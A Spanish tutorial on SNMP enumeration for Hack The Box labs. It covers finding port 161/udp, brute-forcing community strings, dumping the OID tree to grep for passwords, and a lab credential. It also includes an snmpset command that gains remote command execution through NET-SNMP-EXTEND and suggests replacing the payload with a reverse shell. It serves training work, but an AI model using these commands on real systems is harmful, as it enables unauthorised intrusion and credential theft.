Enumeración SNMP: snmpwalk y contraseñas en el puerto 161/udp

Enumerar SNMP paso a paso: encontrar el 161/udp, adivinar la community string y sacar procesos, usuarios y contraseñas con snmpwalk y onesixtyone.

· 5 min de lectura

SNMP es el protocolo que usan los equipos de red y los servidores para que un sistema de monitorización les pregunte cómo están. El problema es que, mal configurado, le cuenta a cualquiera la lista de procesos con sus argumentos, los usuarios, el software instalado y las interfaces de red. En Hack The Box hay máquinas enteras cuya entrada está ahí, como Pandora, donde un proceso lleva una contraseña en la línea de comandos.

Como va por UDP, el escaneo por defecto de nmap no lo ve. Por eso se lo salta tanta gente.

Lo mínimo que tienes que saber

  • Escucha en el 161/udp.
  • En las versiones v1 y v2c la "contraseña" es una community string que viaja en claro. Las de fábrica son public (lectura) y private (escritura).
  • En v3 hay usuario y contraseña de verdad, y es mucho más difícil de atacar.
  • La información está en un árbol de OID (1.3.6.1.2.1.1.5.0 es el nombre del equipo). Las MIB traducen esos números a nombres legibles (SNMPv2-MIB::sysName.0).

Requisitos

En Kali o Parrot:

sudo apt install snmp snmp-mibs-downloader onesixtyone
sudo sed -i 's/^mibs :/# mibs :/' /etc/snmp/snmp.conf

La segunda línea activa las MIB: sin ella verás solo números. Para practicar, cualquiera de las máquinas retiradas del final de esta guía; aquí usaremos 10.10.11.136 (Pandora).

Paso 1: encontrar el puerto

sudo nmap -sU -p161 -sV -n -Pn 10.10.11.136
PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)

El (public) del final ya te dice que la comunidad public funciona. Si no sabes qué puertos UDP mirar, lanza sudo nmap -sU --top-ports 20 como explica la guía de nmap.

Paso 2: adivinar la community string

Si public no responde, prueba una lista. onesixtyone es muy rápido:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.11.136
10.10.11.136 [public] Linux pandora 5.4.0-... x86_64

Cuidado

onesixtyone pregunta solo con SNMPv1. Si el servidor solo acepta v2c, no encontrará nada aunque la comunidad esté en la lista. Es justo lo que pasa en Mentor, cuya comunidad es internal. Para v2c, recorre la lista con snmpwalk:

while read c; do
  snmpwalk -v2c -c "$c" -t 1 -r 0 10.10.11.193 sysName.0 >/dev/null 2>&1 && echo "[+] $c"
done < /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt

Paso 3: volcar todo

Con la comunidad, vuelca el árbol entero a un fichero. snmpbulkwalk pide muchos valores por paquete y es bastante más rápido que snmpwalk:

snmpbulkwalk -v2c -c public -Cr1000 10.10.11.136 . > snmp.txt
wc -l snmp.txt

Puede tardar un par de minutos y dejarte decenas de miles de líneas. No las leas de arriba abajo: busca.

Paso 4: dónde mirar

Qué OID Por qué importa
Descripción del sistema 1.3.6.1.2.1.1 Versión exacta del sistema y del kernel; a veces un contacto o una nota con una contraseña
Procesos 1.3.6.1.2.1.25.4.2.1.2 Qué se está ejecutando
Argumentos de los procesos 1.3.6.1.2.1.25.4.2.1.5 Contraseñas pasadas por línea de comandos
Software instalado 1.3.6.1.2.1.25.6.3.1.2 Versiones para buscar CVE
Puertos TCP en escucha 1.3.6.1.2.1.6.13.1.3 Servicios internos que el escaneo no ve
Direcciones IP (también IPv6) 1.3.6.1.2.1.4.34.1.3 Una IPv6 que quizá no tenga cortafuegos
Usuarios de Windows 1.3.6.1.4.1.77.1.2.25 Nombres para password spraying
Salida de comandos (extend) 1.3.6.1.4.1.8072.1.3.2 Scripts que el administrador expone por SNMP

Lo primero que buscas son contraseñas:

grep -iE 'pass|pwd|user|secret|key|-p ' snmp.txt

En Pandora sale enseguida un proceso con usuario y contraseña en los argumentos:

HOST-RESOURCES-MIB::hrSWRunParameters.<PID> = STRING: "-u daniel -p HotelBabylon23"

Para consultar solo una rama concreta, pásale el OID o su nombre:

snmpwalk -v2c -c public 10.10.11.136 hrSWRunParameters
snmpwalk -v2c -c public 10.10.11.136 NET-SNMP-EXTEND-MIB::nsExtendObjects

Truco

Si prefieres un informe ya ordenado (usuarios, procesos, puertos, software), snmp-check -c public 10.10.11.136 hace todo esto de una vez. Es cómodo, pero haz al menos una vez el volcado a mano para saber qué te puede estar escondiendo.

Lo que puedes encontrar en HTB

  • Una contraseña en un proceso: Pandora. Con ella entras por SSH.
  • Una contraseña en la descripción del sistema: AirTouch.
  • Un número de serie que es la contraseña de la web de administración: Carrier.
  • El hash de la clave compartida de una VPN IPsec: Conceal, donde sin SNMP no hay forma de entrar.
  • La dirección IPv6 del servidor, con puertos que por IPv4 están cerrados: Sneaky.
  • Una comunidad v2c no estándar que solo se encuentra con fuerza bruta: Mentor.

Si la comunidad tiene escritura

Con una comunidad de escritura (private o la que encuentres) en un net-snmp de Linux puedes ejecutar comandos creando una entrada extend:

snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c private 10.10.10.10 \
  'nsExtendStatus."pwn"' = createAndGo \
  'nsExtendCommand."pwn"' = /bin/sh \
  'nsExtendArgs."pwn"' = '-c "id > /tmp/pwn"'
snmpwalk -v2c -c private 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendObjects

El comando se ejecuta cuando consultas la rama nsExtendObjects, con el usuario del servicio snmpd (a menudo Debian-snmp, a veces root). Cambia id > /tmp/pwn por una reverse shell.

Errores típicos

  • Timeout: No Response from 10.10.10.10: comunidad o versión equivocadas. Prueba -v1 y -v2c antes de descartar el puerto.
  • Solo ves números (iso.3.6.1.2.1...): no tienes las MIB. Revisa los requisitos (snmp-mibs-downloader y la línea mibs : comentada).
  • No Such Object available on this agent at this OID: esa rama no existe en este equipo. En Windows no hay nsExtendObjects, por ejemplo.
  • nmap da open|filtered: no es una respuesta. Confirma con snmpwalk -v2c -c public IP sysName.0.

Y después

Prueba cada usuario y contraseña que encuentres en SSH, la web y SMB (enumeración SMB y NFS). Ya dentro, revisa /etc/snmp/snmpd.conf: en Mentor la contraseña de root estaba ahí. Tienes el punto de SNMP en la checklist de reconocimiento y más comandos en la ficha de Nmap.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Enumeración SNMP 6 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo